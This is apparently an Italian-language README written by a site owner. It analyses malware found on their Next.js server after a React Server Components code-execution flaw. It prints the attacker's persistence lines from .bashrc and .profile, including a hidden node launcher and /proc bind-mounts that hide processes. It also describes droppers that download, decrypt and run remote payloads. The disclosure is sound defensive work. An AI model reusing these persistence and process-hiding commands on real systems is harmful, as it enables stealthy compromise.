
malware che ho trovato sul mio server
Questo è un dump di malware e altra robaccia sospetta che ho trovato sul server del mio sito di matrimonio a seguito dell'exploit di esecuzione di codice lato server di React. Si tratta di un piccolo droplet Digital Ocean che esegue una banale app Next js.
Il CVE: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
Un log dell'attività del server che mostra vari picchi e cose varie:

Il principale cattivo sembra essere questa cosa installata in /.local/share/.r0qsv8h1
Nel mio bashrc:
# System
(nohup /.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
Nota: i pgreps servono per fermare questo altro falso malware "meshagent" dall'esecuzione. Puoi leggere al riguardo nel documento MESHAGENT.md.
Nel mio profile c'è la stessa cosa:
# App
(/.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
Puoi vedere altri servizi sospetti in SUSPICIOUS_SERVICES.md
Ecco un'analisi di questo malware principale:
La directory bad contiene un runtime Node.js autonomo con un set di file JavaScript pesantemente offuscati.
Tutte le prove indicano che si tratta di un dropper malintenzionato che contatta silenziosamente un server remoto, scarica un payload crittografato, lo decifra, lo scrive su disco e lo esegue come processo in background distaccato. Il codice controlla periodicamente il server per aggiornamenti.
Il payload Base64 in .5f8562 decodifica in:
{
"0": "c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c",
"1": ".fvq2lzj6te.js",
"3": 1765307786421,
"4": "desktop"
}
"1" fa riferimento al loader offuscato principale."0" è un UUID probabilmente usato dal server remoto per il tracciamento."3" è un timestamp (ms Unix‑epoch) che indica quando il manifest è stato generato."4" indica la posizione prevista (desktop), suggerendo che il payload potrebbe tentare di nascondersi lì.node .5f8562), il manifest punta a .fvq2lzj6te.js.setInterval ripete periodicamente la sequenza download‑decifra‑esegui, permettendo all'attaccante di inviare nuovi payload aggiornati senza ulteriore interazione da parte dell'utente.PATH, cwd, ecc.) e può compiere azioni malintenzionate tipiche come cryptomining, furto di credenziali o esecuzione di comandi remoti..r0qsv8h1 e qualsiasi file che potrebbe aver creato (controllare la Desktop dell'utente e le directory temporanee per eseguibili appena creati).Questa analisi è stata eseguita automaticamente da un assistente AI basandosi su un esame statico dei file presenti nella directory. Non è stata effettuata alcuna esecuzione runtime.
Puoi leggere di più in DEOBFUSCATE.md
| File | Descrizione |
|---|
.394ly8v9/README.md | README standard di Node.js – non correlato alla funzionalità malintenzionata; presente solo per far sembrare il bundle legittimo. |
.fvq2lzl64e.js | Circa 5 KB di JavaScript offuscato. Costruisce una richiesta HTTP JSON‑RPC, riceve un payload codificato in base64, lo decifra con un cifrario personalizzato, scrive il payload in un file casuale e lo esegue tramite child_process.spawn / execSync. Inoltre avvia un processo in background distaccato che interroga ripetutamente il server remoto. |
.lauphhtqrg.js | Circa 13 KB di JavaScript offuscato. Implementa un ciclo simile download‑decifra‑esegui con il proprio cifrario stile RC4 (dec). Scrive il payload decifrato in un nome file generato e lo esegue. Imposta un timer per recuperare nuovi payload successivamente. |
.5f8562 | Stringa Base64 in chiaro. Decodifica in un piccolo manifest JSON: json { "0":"c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c", "1":".fvq2lzj6te.js", "3":1765307786421, "4":"desktop" } Questo manifest dice al loader quale script eseguire (.fvq2lzj6te.js) e fornisce un identificatore/timestamp. |
.b0rtqscrkeov | Non ancora esaminato, ma il pattern del nome suggerisce che sia un altro componente della stessa catena malintenzionata. |
bin/node e file lib/ annessi | Un runtime Node.js completo, che permette agli script di funzionare su un sistema anche se Node.js non è installato. |